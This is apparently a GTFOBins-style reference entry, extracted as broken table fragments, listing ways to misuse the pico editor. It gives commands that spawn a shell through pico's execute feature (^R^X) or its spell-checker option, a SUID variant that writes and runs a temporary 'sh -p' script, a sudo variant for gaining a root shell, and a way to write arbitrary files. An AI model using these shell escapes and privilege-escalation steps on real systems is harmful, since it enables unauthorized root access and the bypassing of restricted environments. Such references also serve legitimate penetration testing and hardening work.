code |
pico
^R^X
reset; sh 1>&0 2>&0
|
|
description |
code |
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. |
pico -s /bin/sh
/bin/sh
^T
|
|
|
code |
pico file_to_write
DATA
^O
|
|
|
|
description |
code |
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. |
TF=$(mktemp)
echo '#!/bin/sh -p
exec sh -p' > $TF
chmod +x $TF
./pico -s $TF /etc/hosts
^T
|
|
|
code |
sudo pico
^R^X
reset; sh 1>&0 2>&0
|
|
|